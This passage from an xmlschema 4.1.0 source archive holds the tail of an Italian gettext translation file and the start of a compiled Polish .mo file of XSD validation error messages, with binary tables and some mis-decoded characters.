attribute 'name'" msgstr "attributo obbligatorio 'name' mancante" #: xmlschema/validators/identities.py:181 msgid "missing 'selector' declaration" msgstr "dichiarazione 'selector' mancante" #: xmlschema/validators/identities.py:198 msgid "unknown identity constraint {!r}" msgstr "vincolo di identitĂ  sconosciuto {!r}" #: xmlschema/validators/identities.py:203 msgid "attribute 'ref' points to a different kind constraint" msgstr "l'attributo 'ref' punta a un vincolo di tipo diverso" #: xmlschema/validators/identities.py:231 msgid "selector xpath expression can only select elements" msgstr "l'espressione xpath di un selector puĂ² selezionare solo elementi" #: xmlschema/validators/identities.py:286 msgid "missing required attribute 'refer'" msgstr "attributo obbligatorio 'refer' mancante" #: xmlschema/validators/identities.py:316 #, python-format msgid "key/unique identity constraint %r is missing" msgstr "vincolo di identitĂ  chiave/univoco %r mancante" #: xmlschema/validators/identities.py:321 #, python-format msgid "reference to a non key/unique identity constraint %r" msgstr "riferimento a vincolo di identitĂ  non chiave/univoco %r" #: xmlschema/validators/identities.py:324 msgid "field cardinality mismatch between {0!r} and {1!r}" msgstr "mancata corrispondenza della cardinalitĂ  del campo tra {0!r} e {1!r}" #: xmlschema/validators/identities.py:401 msgid "duplicated value {0!r} for {1!r}" msgstr "valore duplicato {0!r} per {1!r}" #: xmlschema/validators/identities.py:501 msgid "%r field selects multiple values!" msgstr "il campo %r seleziona piĂ¹ valori!" #: xmlschema/validators/identities.py:510 #, python-format msgid "%r field doesn't have a simple type!" msgstr "il campo %r non ha un tipo semplice!" #: xmlschema/validators/identities.py:542 msgid "missing key field {0!r} for {1!r}" msgstr "campo chiave {0!r} mancante per {1!r}" #: xmlschema/converters/__init__.py:37 msgid "'converter' argument must be a {0!r} subclass or instance: {1!r}" msgstr "" "l'argomento 'converter' deve essere una sottoclasse o un'istanza di {0!r}: " "{1!r}" #~ msgid "circular definition found between {0!r} and {1!r}" #~ msgstr "definizione circolare trovata tra {0!r} e {1!r}" #, python-format #~ msgid "missing dynamic loaded schema from %s" #~ msgstr "manca lo schema caricato dinamicamente da %s" #~ msgid "dynamic loaded schema change the assessment" #~ msgstr "lo schema a caricamento dinamico cambia la valutazione" #~ msgid "wrong element {0!r} for map {1!r}" #~ msgstr "elemento sbagliato {0!r} per la mappa {1!r}" #~ msgid "missing XSD namespace in meta-schema instance {!r}" #~ msgstr "spazio dei nomi XSD mancante nell'istanza del meta-schema {!r}" #~ msgid "missing default meta-schema instance {!r}" #~ msgstr "istanza {!r} del meta-schema predefinito mancante" #~ msgid "global element not built!" #~ msgstr "elemento globale non costruito!" #, python-format #~ msgid "global map has unbuilt components: %r" #~ msgstr "la mappa globale ha componenti non costruiti: %r" #~ msgid "Circular reference found between attribute groups {0!r} and {1!r}" #~ msgstr "" #~ "Riferimento circolare trovato tra i gruppi di attributi {0!r} e {1!r}" #~ msgid "wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}" #~ msgstr "" #~ "spazio dei nomi errato ({0!r} invece di {1!r}) per la risorsa XSD {2}" #~ msgid "missing XSD namespace in meta-schema" #~ msgstr "spazio dei nomi XSD mancante nel meta-schema" #~ msgid "Missing meta-schema source URL" #~ msgstr "URL di origine del meta-schema mancante" #, fuzzy #~ msgid "" #~ "The argument 'base_schemas' must be a dictionary or a sequence of couples" #~ msgstr "" #~ "l'argomento 'base_schemas' deve essere un dizionario o una sequenza di " #~ "coppie" #~ msgid "a {0!r} or {1!r} object required" #~ msgstr "è richiesto un oggetto {0!r} o {1!r}" #~ msgid "circular definition found for type {!r}" #~ msgstr "definizione circolare trovata per il tipo {!r}" #~ msgid "circular definition found on xs:union type {!r}" #~ msgstr "definizione circolare trovata sul tipo xs:union {!r}" #, python-format #~ msgid "no type suitable for decoding the values %r" #~ msgstr "nessun tipo adatto a decodificare i valori %r" ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/pl/����������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017320�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/pl/LC_MESSAGES/����������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0021105�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/pl/LC_MESSAGES/xmlschema.mo����������������������������������������0000664�0000000�0000000�00000134443�15020401055�0023434�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������̃•����‚�����, �� ��<������` �����a �����s �����… ��$���™ ��$���¾ ��!���ă �����!��+���!��-���@!��:���n!��%���©!�����Ï!��@���é!��7���*"��:���b"��B���"��;���à"��?���#��8���\#��-���•#��-���Ă#��+���ñ#��6���$��*���T$��0���$��6���°$��6���ç$��1���%��6���P%��1���‡%��7���¹%��*���ñ%��0���&��8���M&��0���†&��2���·&��1���ê&��@���'�����]'��2���x'��%���«'��>���Ñ'��<���(��<���M(��=���(��4���È(��7���ư(��6���5)��0���l)��)���)��A���Ç)��o��� *��"���y*��B���œ*��C���ß*�����#+��;���B+�����~+�����™+��F���´+��;���û+��I���7,��*���,��(���¬,��,���Ơ,��=���-��1���@-��*���r-��A���-��)���ß-��"��� .��%���,.��a���R.��0���´.��=���å.��?���#/��%���c/��'���‰/��7���±/��@���é/��2���*0�� ���]0�����~0�����0��+���º0��)���æ0��0���1��F���A1��E���ˆ1��I���Î1��$���2��=���=2��&���{2�� ���¢2�����Ă2�����Ü2��?���ó2��L���33��3���€3��3���´3��M���è3��3���64��3���j4��-���4��*���̀4��5���÷4��=���-5��>���k5��<���ª5��9���ç5��'���!6�����I6��5���b6��2���˜6��)���Ë6��&���ơ6��(���7��Q���E7��R���—7��"���ê7��&��� 8��.���48��,���c8��R���8��%���ă8��7��� 9��+���A9��+���m9��B���™9��3���Ü9��6���:��"���G:��"���j:�� ���:��!���®:��,���Đ:��,���ư:��5���*;��5���`;��-���–;��?���Ä;��^���<��1���c<��6���•<��1���̀<��'���₫<��/���&=��#���V=��=���z=��*���¸=��1���ă=��&���>��>���<>��:���{>��B���¶>��0���ù>��:���*?��F���e?�����¬?��"���Ë?��!���î?�� ���@�����1@��+���M@�����y@�� ���‘@��3���²@��>���æ@��,���%A��"���RA��/���uA��F���¥A��>���́A��2���+B��8���^B��I���—B��O���áB��F���1C�����xC�����’C��%���ªC�����ĐC��-���îC��T���D��U���qD��T���ÇD��z���E��6���—E��0���ÎE��;���ÿE��"���;F��%���^F��%���„F�����ªF��-���ÈF�����öF��+���G��+���:G�����fG�����G��,���”G�����ÁG��3���×G��7��� H��0���CH��*���tH��=���ŸH�����ƯH��0���üH��0���-I��'���^I��.���†I�����µI�����ÔI��$���íI��2���J��'���EJ��0���mJ��/���J��&���ÎJ�����ơJ�����K�� ���#K��4���DK��)���yK��%���£K��0���ÉK�����úK��!��� L�����-L��!���KL��"���mL�����L��"���°L��:���ÓL�����M��.���+M��'���ZM��&���‚M��#���©M�����ÍM��8���êM�����#N��E���;N��+���N��(���­N��%���ÖN�����üN�����O�����&O��8���@O��;���yO��1���µO�����çO��&���P��5���)P��4���_P��5���”P��5���ÊP��M����Q��%���NQ��<���tQ�����±Q��0���ÈQ��2���ùQ��+���,R�����XR�� ���vR��)���—R��#���ÁR�����åR��/���S��‘���2S��r���ÄS��=���7T��K���uT��9���ÁT��9���ûT��I���5U��K���U��L���ËU��+���V��-���DV��+���rV��d���V��B���W�� ���FW��8���gW��A��� W��4���âW��-���X��@���EX��#���†X��!���ªX��?���̀X��[��� Y��$���hY��O���Y�����ƯY��&���øY�����Z��2���1Z��2���dZ��)���—Z�� ���ÁZ��+���âZ�����[�����+[�����B[�� ���U[�����v[�����“[��*���¥[�����Đ[�����î[��7���\��!���=\��4���_\��)���”\�����¾\��'���̃\��*���]��!���1]��,���S]�� ���€]�����¡]�� ���Á]�����â]��%���û]��(���!^��'���J^�����r^�����‰^�����¤^�����¿^�����Ù^�����đ^��M���_��,���Q_��“���~_��6���`��?���I`��.���‰`��+���¸`��W���ä`�����<a��$���Ta��!���ya��=���›a��)���Ùa��7���b��#���;b��.���_b�����b��*���®b��'���Ùb��*���c��$���,c��O���Qc��0���¡c��.���̉c��>���d��<���@d��&���}d�� ���¤d��+���Åd��0���ñd��+���"e��;���Ne��9���e�����Äe��)���àe����� f��&���'f��$���Nf��7���sf�����«f��&���Éf��#���đf��1���g��0���Fg��!���wg��G���™g��L���ág�����.h��H���Nh�����—h�����°h�����Éh��$���äh����� i�� ���'i�����Hi��*���]i��5���ˆi��I���¾i��*���j�����3j��D���Kj��7���j��9���Èj��G���k��A���Jk��L���Œk��7���Ùk��.���l��>���@l��.���l��>���®l��4���íl��>���"m��F���am��;���¨m��5���äm��;���n��5���Vn��>���Œn��.���Ën��>���ún��F���9o��6���€o��?���·o��3���÷o��@���+p�����lp��9���…p��'���¿p��>���çp��W���&q��A���~q��9���Àq��3���úq��<���.r��:���kr��1���¦r��*���Ør��>���s��r���Bs��0���µs��O���æs��L���6t��-���ƒt��;���±t��*���ít��5���u��V���Nu��<���¥u��@���âu��+���#v��)���Ov��>���yv��<���¸v��@���ơv��8���6w��@���ow��%���°w��%���Öw��"���üw��m���x��2���x��L���Àx��E��� y��%���Sy��!���yy��0���›y��H���̀y��>���z�����Tz�����tz��%���z��/���¶z��,���æz��+���{��P���?{��O���{��I���à{��"���*|��<���M|��&���|�� ���±|�����̉|�����ê|��>���}��M���D}��3���’}��3���Æ}��J���ú}��9���E~��2���~��-���²~��)���à~��5��� ��?���@��I���€��I���Ê��9���€��(���N€�����w€��C���€��2���̉€��.�����*���4��9���_��O���™��P���é��,���:‚��7���g‚��.���Ÿ‚��.���΂��k���ư‚��2���iƒ��8���œƒ��<���Ơƒ��?���„��@���R„��E���“„��D���Ù„��/���…��4���N…��'���ƒ…��.���«…��:���Ú…��:���†��C���P†��C���”†��7���؆��X���‡��Y���i‡��9���Ç��@���ư‡��4���>ˆ��.���sˆ��&���¢ˆ��!���Ɉ��I���ëˆ��1���5‰��>���g‰��&���¦‰��A���͉��9�����D���I��;�����G���Ê��R���‹�� ���e‹��*���†‹��"���±‹��&���Ô‹��!���û‹��.���Œ�����LŒ��$���iŒ��;���Œ��K���ÊŒ��5�����-���L��;���z��J���¶��B�����/���D��6���t��Q���«��[���ư��T���Y��'���®��&���Ö��,���ư��$���*��0���O��^���€��\���ß��^���<‘��‚���›‘��D���’��:���c’��5���’��&���Ô’��/���û’��/���+“��"���[“��C���~“�����“��2���â“��2���”�����H”�����g”��5���…”�����»”��?���Ù”��;���•��5���U•��/���‹•��L���»•�����–��5���(–��1���^–��0���–��<���Á–�� ���₫–�����—��/���9—��=���i—��(���§—��1���Đ—��6���˜��*���9˜�����d˜�����~˜��$���˜˜��0���½˜��0���î˜��,���™��.���L™�����{™��&���™�� ���¶™�����×™�� ���÷™����������6��=���S��"���‘��.���´��$���ă��$���›��%���-›�����S›��K���s›�����¿›��K���Ù›��3���%œ��.���Yœ��5���ˆœ�����¾œ�����Ùœ�����đœ��N�����K���^��7���ª�����â��@�����3���C��D���w��5���¼��;���̣��L���.Ÿ��1���{Ÿ��8���­Ÿ�� ���æŸ��:��� ��9���B ��,���| �� ���© ��"���Ê ��+���í ��&���¡�����@¡��5���^¡��ˆ���”¡��{���¢��@���™¢��B���Ú¢��3���£��@���Q£��D���’£��D���×£��H���¤��7���e¤��7���¤��-���Ơ¤��t���¥��K���x¥��.���Ä¥��.���ó¥��:���"¦��6���]¦��4���”¦��B���ɦ��,��� §��*���9§��J���d§��h���¯§��"���¨��^���;¨��"���¨��.���½¨�����́¨��6���©��6���=©��5���t©��(���ª©��-���Ó©�����ª����� ª�����6ª��'���Jª�����rª�����ª��4���¢ª��'���ת�����ÿª��?���«��#���[«��8���«��-���¸«��2���æ«��,���¬��,���F¬��&���s¬��,���¬��&���Ǭ��)���î¬��"���­�����;­��8���W­��6���­��6���Ç­�����₫­�����®��!���9®��!���[®�����}®�����®��M���³®��5���¯�����7¯��?���ǯ��F���°��6���N°��2���…°��g���¸°��#��� ±��%���D±��%���j±��H���±��(���Ù±��C���²��/���F²��:���v²��+���±²��6���Ư²��3���³��6���H³��0���³��Y���°³��:��� ´��7���E´��J���}´��G���È´��-���µ��(���>µ��.���gµ��0���–µ��*���ǵ��A���̣µ��1���4¶��#���f¶��'���¶��-���²¶��3���à¶�� ���·��<���5·�� ���r·��%���“·��2���¹·��0���́·��0���¸�����N¸��K���n¸��J���º¸�����¹�����������������̣���P���c�������›���2���̉�������R�������°���Ä���Æ�������n��ø�����������“�������ä���˜���$������z��¦���G���0������Q������è���"����������������ô������g��ƒ�����|��#���Ï���i����������²�������k���Ö�������€������f��������������`�������*������4��6����S���r������û���Ô���¶���!�������n��� ��������?��� ��� ��������×���7��…���í���W���ö�������%���p������o��5���v��w���������¯�����X���#��d���N��������Ñ���8���b��Í���¿�����\�������_���������������������ê�������„�����������������y���K���F����Å���<���X��H��i��Ë���¤�������ÿ�����̀��� ��t��� �������V����������������Ú���{���/��������������–���‰���<��Y��@������)���^��I��¸���ˆ������Á���Û�������Ÿ��� ���¢�������ư��������������¡���f��A������������µ�������̃���=���}�� ���³�����������V��;��Ó���€��Z��W����F���Ù��������₫����������'�������v���‹�������’���¨���>�������� ���ó���}�����������Ø���†�������a���2��/���e������Ă���À���d��m����h�����.������©���q���Ư���U��1��q��Đ���������������‡���A�������~������������¹���H���������������Ç������¥���ü�������Z���£��� �� ��@�������3��0������T�������~���&���È�������(������������8����������-���‚���������������­���á�����������é���ñ���x��|���U���+���ă���N���7�������=������ë���«���l��Y���y������[��L��D���h�����������Q���M������;���$���E���î������g�������s��!��C���p���4���1���K������ï���±�������9��������%��R��O��������� �����������6���,�������o������[���P��đ���5��^���������������������������u��”���™������Â���Œ���&������‚����������Ơ���J��9��à���?��É�������•���r���)��å���®���O��»�������������"�������B��]���������a��·���������������D������j��������������œ�����:������-������B���´���b������\��:����������T������w�������]���u�������S��½���æ�������*���ª������J���â���‘���—���(���E��'�����Î�������t������§���>������¼���{������e���s���L���+������G��ơ���`����l����������_�������k��C��������������.���j������z���M��� ���Ê���3���x����������I���c������¾�������������÷���¬��� ��ç���́�����ß���m���º���Ü���ú���ù������,��� Tag %r expected.� Tag %s expected.� Tag (%s) expected.�%r attribute not allowed for element�%r field doesn't have a simple type!�%r field selects multiple values!�%r is abstract�%r is not an attribute of the XSI namespace�%r: a list must be based on atomic data types�'all' model can appears only at 1st level of a model group�'all' model can contain only elements�'base' attribute required�'converter' argument must be a {0!r} subclass or instance: {1!r}�'default' and 'fixed' attributes are mutually exclusive�'default' value {!r} is not compatible with element's type�'final' value of the baseType %r forbids derivation by restriction�'final' value of the itemType %r forbids derivation by list�'final' value of the memberTypes %r forbids derivation by union�'fixed' value {!r} is not compatible with element's type�'global_maps' argument must be an %r instance�'length' value must be non a negative integer�'maxLength' has a greater value than parent�'maxLength' has a lesser value than parent 'minLength'�'maxLength' value is less than 'minLength'�'maxLength' value must be a non negative integer�'maxLength' value must be greater or equal to 'length'�'minExclusive' must be less or equal to 'maxExclusive'�'minExclusive' must be lesser than 'maxInclusive'�'minInclusive' must be less or equal to 'maxInclusive'�'minInclusive' must be lesser than 'maxExclusive'�'minLength' has a greater value than parent 'maxLength'�'minLength' has a lesser value than parent�'minLength' value must be a non negative integer�'minLength' value must be less than or equal to 'length'�'mixed' attribute not allowed with simpleContent�'model' argument must be (sequence | choice | all)�'name' attribute in a local simpleType definition�'namespace' and 'notNamespace' attributes are mutually exclusive�'xpath' attribute required�(attribute | attributeGroup) expected, found {!r}.�(restriction | list | union) expected�Attribute type is not a restriction of the base attribute type�Attribute wildcard is not a restriction of the base wildcard�Attribute {!r}: 'inheritable' property change in restriction�Attribute {!r}: derived attribute has a different fixed value�Attribute {!r}: redefinition remove fixed constraint�Attribute {!r}: unmatched attribute use in redefinition�Attribute {!r}: unmatched attribute use in restriction�Circular attribute groups not allowed in XSD 1.0�Circular definition detected for group %r�Circular reference found between attribute groups {0!r} and {1!r}�Element Declarations Consistent violation between {0!r} and {1!r}: match the same name but with different types�IDREF %r not found in XML document�Maybe a not equivalent type table between elements {0!r} and {1!r}�Maybe a not equivalent type table between elements {0!r} and {1!r}.�Missing meta-schema source URL�Missing required attribute {!r} in redefinition restriction�Override schema failed: %s�Redefine schema failed: %s�Redefined group reference cannot have minOccurs/maxOccurs other than 1�Redefinition restriction contains additional attribute {!r}�The argument 'base_schemas' must be a dictionary or a sequence of couples�The content of element %r is not complete.�Unexpected attribute {!r} in restriction�Unexpected child with tag %r at position %d.�Unique Particle Attribution violation between {0!r} and {1!r}�Wrong attribute order in redefinition restriction�XML data depth exceeded (MAX_XML_DEPTH=%r)�XSD 1.0 does not allow extension of a not empty 'all' model group�XSD attribute's type must be a simpleType�XSD_VERSION must be '1.0' or '1.1'�a complexType ancestor required: {!r}�a declaration contained in a global complexType must have the same namespace as its parent schema�a defaultOpenContent declaration cannot be empty�a global %s must have the same namespace as its parent schema�a not empty simpleContent cannot restrict an empty content type�a notation declaration must be global�a notation must have a 'name' attribute�a notation must have a 'public' or a 'system' attribute�a reference component cannot have child definitions/declarations�a simple content element can't have child elements�a {0!r} or {1!r} object required�a {0!r} required, not {1!r}�ambiguous list type declaration�ambiguous type definition for XSD attribute�an <xs:any> child declaration is required�an attribute name must be different from 'xmlns'�an empty 'choice' group with minOccurs > 0 cannot validate any content�an empty content derivation from base type that has not empty content�an openContent with mode='none' cannot have an <xs:any> child declaration�an xs:simpleType definition expected�an xs:{0} group cannot include a reference to an xs:{1} group�another declaration after anyAttribute�attribute %r must be inheritable�attribute %r not allowed�attribute %r not found�attribute 'fixed' with use=prohibited is not allowed in XSD 1.1�attribute 'form' must be absent when 'targetNamespace' attribute is provided�attribute 'maxOccurs' not allowed in a global group�attribute 'minOccurs' not allowed in a global group�attribute 'name' must be present when 'targetNamespace' attribute is provided�attribute 'name' not allowed for a local simpleType�attribute 'name' not allowed in a local complexType�attribute 'name' not allowed in a local group�attribute 'ref' not allowed in a global %r�attribute 'ref' points to a different kind constraint�attribute {!r} is not allowed in a global element declaration�attribute {!r} is not allowed when attribute reference is used�attribute {!r} is not allowed when element reference is used�attribute {!r} not allowed in a local element declaration�attribute {0!r} has a fixed value {1!r}�attribute {0}={1!r}: {2}�attributeGroup ref={!r} is not in the redefined group�attributes 'name' and 'ref' are mutually exclusive�base %r is simple or has a simple content�base facet has a different length ({})�base facet has a greater min length ({})�base has a different content type (mixed=%r) and the extension group is not empty�base has a different content type (mixed=%r) and the extension group is not empty.�base type %r has no simple content�base type has a lesser max length ({})�base_type={!r} is not a complexType definition�boolean value {0!r} requires a {1!r} decoder�can't verify the content model of {!r} due to exceeding of maximum recursion depth�cannot add attributes in %r namespace�cannot change the global maps instance of a meta-schema�cannot decode %(obj)r data with %(decoder)r�cannot extend a complex content with xs:all�cannot extend a not empty 'all' model group with a different model�cannot extend an empty mixed content with an xs:all�cannot extend an xs:all group with mixed empty content�cannot import chameleon schema: %s�cannot import namespace {0!r}: {1}�cannot include schema {0!r}: {1}�cannot redefine schema {0!r}: {1}�cannot specify both 'length' and 'maxLength'�cannot specify both 'length' and 'minLength'�cannot specify both 'maxInclusive' and 'maxExclusive'�cannot specify both 'minInclusive' and 'minExclusive'�cannot use an abstract element for validation�cannot use xs:anyAtomicType as base type of a user-defined type�cannot validate against xs:NOTATION directly, only against a subtype with an enumeration facet�character data between child elements not allowed�character data is not allowed because content is empty�circular definition found between {0!r} and {1!r}�circular definition found for type {!r}�circular definition found on xs:union type {!r}�circular redefinition for {0} {1!r}�circularity found for substitution group with head element {}�circularity found for substitutionGroup %r�content type is not a restriction of base content�declared type is not derived from {!r}�default attribute {!r} is already declared in the complex type�default value {!r} is not compatible with attribute's type�defaultAttributes={0!r} doesn't match any attribute group of {1!r}�defaultOpenContent must be a child of the schema�derivation by %r blocked by attribute 'final' in base type�derived a mixed content from a base type that has element-only content�duplicated attributeGroup {!r}�duplicated identity constraint %r:�duplicated simpleType declaration�duplicated value {0!r} for {1!r}�duplicated xs:ID value {!r}�dynamic loaded schema change the assessment�element is not nillable�element {!r} is not allowed here�encoding needs at least one XSD element declaration�extended type has a mixed content but the base is element-only�facet group must have the same base type: %r�facet value can be only 'collapse'�facet value can be only 'replace' or 'collapse'�facets not allowed for a direct content derivation of xs:anySimpleType�facets not allowed for a direct derivation of xs:anySimpleType�field cardinality mismatch between {0!r} and {1!r}�fixed value {!r} is not compatible with attribute's type�fractionDigits facet can be applied only to types derived from xs:decimal�fractionDigits facet value cannot be lesser than the value of totalDigits facet�fractionDigits facet value must be 0 for types derived from xs:integer�global element not built!�global group not built!�global map has unbuilt components: %r�global type {!r} is not built�global {0} with name={1!r} is already defined�head element %r can't be substituted by an element that has a derivation of its type�head element %r can't be substituted by an element that has a restriction of its type�head element %r can't be substituted by an element that has an extension of its type�if the 'namespace' attribute is not present on the import statement then the imported schema must have a 'targetNamespace'�imported schema {0!r} has an unmatched namespace {1!r}�in XSD 1.0 an 'all' model group cannot be nested�in a redefinition the reference to itself must be the first�invalid XPath expression for an {}�invalid attribute vc:maxVersion value�invalid attribute vc:minVersion value�invalid restriction from {!r}�invalid restriction: base value is lower ({})�invalid restriction: {}�invalid restriction: {} is also the maximum�invalid restriction: {} is also the minimum�invalid type {!r} provided�invalid value {!r}�key/unique identity constraint %r is missing�length has to be {!r}�local scope elements cannot have abstract attribute�maxOccurs must be 'unbounded' or greater than minOccurs�maxOccurs must be (0 | 1) for 'all' model groups�maxOccurs must be 1 for 'all' model groups�maxOccurs value must be a non negative integer or 'unbounded'�meta-schema unavailable for %r�minOccurs must be (0 | 1) for 'all' model groups�minOccurs must be lesser or equal than maxOccurs�minOccurs value is not an integer value�minOccurs value must be a non negative integer�missing 'selector' declaration�missing 'type' attribute�missing XSD namespace in meta-schema�missing XSD namespace in meta-schema instance {!r}�missing attribute 'name' in a global %r�missing attribute 'name' in a global complexType�missing attribute 'name' in a global simpleType�missing attribute 'ref' in local group�missing attribute 'test'�missing base type %r�missing base type in restriction�missing both attributes 'name' and 'ref' in local %r�missing default meta-schema instance {!r}�missing dynamic loaded schema from %s�missing enumeration facet in xs:NOTATION subtype�missing group %r�missing key field {0!r} for {1!r}�missing list type declaration�missing required attribute 'name'�missing required attribute 'refer'�missing required attribute {!r}�missing xs:union type declarations�more anyAttribute declarations in the same attribute group�multiple %r constraint facet�multiple ID attributes not allowed for XSD 1.0�multiple declaration for attribute {!r}�multiple declaration of attribute {!r}�multiple redefinition for {0} {1!r}�must have the fixed value %r�names in notQName must be in namespaces that are allowed�no XSD source provided!�no more than one attribute of type ID should be present in an element�no type suitable for decoding the values %r�no type suitable for encoding the object�no value is allowed for xs:error type�not a base64 encoding�not a redefinition!�not an hexadecimal number�not expressible wildcard namespace union: {0!r} V {1!r}:�one or more facets are not applicable, admitted set is {!r}�openContent mismatch between type and model group�parent circularity from {}�prefix {!r} not found in namespace map�redefined schema {!r} has a different targetNamespace�reference to a non key/unique identity constraint %r�referenced attribute has a different fixed value {!r}�restriction has an open content but base type has not�restriction of an xs:{0} with more than one particle with xs:{1} is forbidden�restriction or extension tag expected�restriction with 'base' attribute and simpleType declaration�schema %r is not built�schemaLocation declaration after namespace start�selector xpath expression can only select elements�simpleType restriction of %r is not allowed�substitution of %r is blocked�target directory {} is not empty�target parent directory {} does not exist�target parent {} is not a directory�target {} is not a directory�test attribute missing in non-final alternative�the QName {!r} is mapped to no namespace, but this requires that there is an xs:import statement in the schema without the 'namespace' attribute.�the QName {0!r} is mapped to the namespace {1!r}, but this namespace has not an xs:import statement in the schema.�the attribute 'mode' of a defaultOpenContent cannot be 'none'�the attribute 'namespace' must be different from schema's 'targetNamespace'�the attribute 'ref' is required in a local attributeGroup�the attribute 'targetNamespace' cannot be an empty string�the attribute 'type' and a xs:{} local declaration are mutually exclusive�the attribute 'type' and the xs:%s local declaration are mutually exclusive�the attribute 'use' must be 'optional' if the attribute 'default' is present�the base type is not derivable by extension�the base type is not derivable by restriction�the derived group is an illegal restriction�the explicitTimezone facet value cannot be changed if the base type has the same facet with value %r�the namespace of each QName in notQName is allowed by notNamespace�the namespace {!r} is not loaded�the number of digits has to be lesser or equal than {!r}�the number of fraction digits has to be lesser or equal than {!r}�the path %r doesn't match any element of the schema!�the redefined group is an illegal restriction�the simple content of {!r} is not a valid simple type in XSD 1.1�time zone prohibited for value {!r}�time zone required for value {!r}�too many XSD components, unexpected {0!r} found at position {1}�totalDigits facet value cannot be greater than the value of the same facet in the base type�type {0!r} is not derived from {1!r}�unable to select an element for decoding data, provide a valid 'path' argument.�unavailable namespace {!r}�unexpected instance {!r} in global map�unexpected tag %r�unexpected tag %r after complexContent declaration�unexpected tag %r after simpleContent declaration:�unexpected tag %r for complexType content�unexpected tag %r in restriction�unexpected tag after attribute declarations�unknown attribute group {!r}�unknown attribute {!r}�unknown element %r�unknown identity constraint {!r}�unknown substitutionGroup %r�unknown type {!r}�unmapped QName in 'notQName' attribute: %s�unmapped prefix %r in a QName�usage of %r is blocked�usage of {0!r} with type {1} is blocked by head element�use of attribute %r is prohibited�validation mode can be 'strict', 'lax' or 'skip': %r�value contains non collapsed white spaces�value contains tabs or newlines�value doesn't match any pattern of {!r}�value has to be greater or equal than {!r}�value has to be greater than {!r}�value has to be less than or equal than {!r}�value has to be lesser than {!r}�value is not a valid xs:decimal�value is not an instance of {!r}�value is not an xs:QName�value is not true with test path {!r}�value length cannot be greater than {!r}�value length cannot be lesser than {!r}�value must be negative�value must be non negative�value must be non positive�value must be one of {!r}�value must be positive�value must be {:s}�value of 'mixed' attribute in complexType and complexContent must be the same�value {!r} must match a notation declaration�when a complexType with simpleContent restricts a complexType with mixed and with emptiable content then a simpleType child declaration is required�when extend an xs:all group minOccurs must be the same�with simpleContent cannot restrict an element-only content type�wrong QName format in 'notQName' attribute: %s�wrong base type %r, an atomic type required�wrong base type %r: a simpleType or a complexType with simple or mixed content required�wrong content type {!r}�wrong definition with self-reference�wrong element {0!r} for map {1!r}�wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}�wrong redefinition without self-reference�wrong tag {!r} for an XSD global definition/declaration�wrong value %r for 'mode' attribute�wrong value %r for 'processContents' attribute�wrong value %r for attribute %r�wrong value %r for attribute 'white_space'�wrong value %r in 'namespace' attribute�wrong value %r in 'notNamespace' attribute�wrong value for 'notQName' attribute�wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | {1}).�xs:ID key attributes cannot have a default value�xs:ID key attributes cannot have a fixed value�xs:ID or a type derived from xs:ID cannot have a default value�xs:ID or a type derived from xs:ID cannot have a fixed value�xs:all cannot extend a not empty xs:%s�xs:sequence cannot extend xs:all�xsi:nil attribute must have a boolean value�xsi:nil='true' but the element has a fixed value�xsi:nil='true' but the element is not empty�{!r} does not match any declared element of the model group�{!r} is expected to have a redefined/overridden component�{!r} is not a boolean value�{!r} is not a particle of the model group�{!r} is not a valid loglevel�{!r} is not a valid value for xs:QName�{!r} is not an element of the schema�{0!r} and {1!r} overlap and are in the same {2!r} group�{0!r} cannot substitute {1!r}�{0!r} derivation not allowed for {1!r}�{0!r} facet value is fixed to {1!r}�{0!r} is not a restriction of the base type {1!r}�{0!r} is not an extension of the base type {1!r}�{0!r} is not an instance of {1!r}�{0!r} that matches {1!r} is not consistent with local declaration {2!r}�{0!r} type is not of the same or a derivation of the head element {1!r} type�{0} has an unknown prefix {1!r}�Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit � Oczekiwany znacznik %r.� Oczekiwany znacznik %s.� Oczekiwany znacznik (%s).�atrybut %r niedozwolony dla elementu�pole %r nie ma typu prostego!�pole %r wybiera wiele wartoÅ›ci!�%r jest abstrakcyjne�%r nie jest atrybutem przestrzeni nazw XSI�%r: lista musi być oparta na atomowych typach danych�model 'all' może pojawić siÄ™ tylko na pierwszym poziomie grupy modeli.�model 'all' może zawierać tylko elementy�wymagany atrybut 'base'�argument 'converter' musi być podklasÄ… lub instancjÄ… {0!r}: {1!r}�Atrybuty 'default' i 'fixed' wzajemnie siÄ™ wykluczajÄ…�wartość 'default' {!r} nie jest zgodna z typem elementu�wartość 'final' baseType %r zabrania wyprowadzania przez ograniczenie�wartość 'final' itemType %r zabrania wyprowadzania przez listÄ™�wartość 'final' elementu MemberTypes %r zabrania wyprowadzania przez sumÄ™�wartość 'fixed' {!r} nie jest zgodna z typem elementu�argument 'global_maps' musi być instancjÄ… %r�wartość 'length' nie może być ujemnÄ… liczbÄ… caÅ‚kowitÄ….�'maxLength' ma wiÄ™kszÄ… wartość niż rodzic�'maxLength' ma mniejszÄ… wartość niż nadrzÄ™dna 'minLength'�wartość 'maxLength' jest mniejsza niż 'minLength'�wartość 'maxLength' musi być nieujemnÄ… liczbÄ… caÅ‚kowitÄ…�wartość 'maxLength' musi być wiÄ™ksza lub rĂ³wna wartoÅ›ci 'length'�'minExclusive' musi być mniejsze lub rĂ³wne 'maxExclusive'�'minInclusive' musi być mniejsze niż 'maxExclusive'�'minInclusive' musi być mniejsze lub rĂ³wne 'maxInclusive'�'minInclusive' musi być mniejsze niż 'maxExclusive'�'minLength' ma wiÄ™kszÄ… wartość niż nadrzÄ™dna 'maxLength'�'minLength' ma mniejszÄ… wartość niż rodzic�wartość 'minLength' musi być nieujemnÄ… liczbÄ… caÅ‚kowitÄ…�wartość 'minLength' musi być mniejsza lub rĂ³wna wartoÅ›ci 'length'�atrybut 'mixed' niedozwolony w przypadku simpleContent�argument 'model' musi 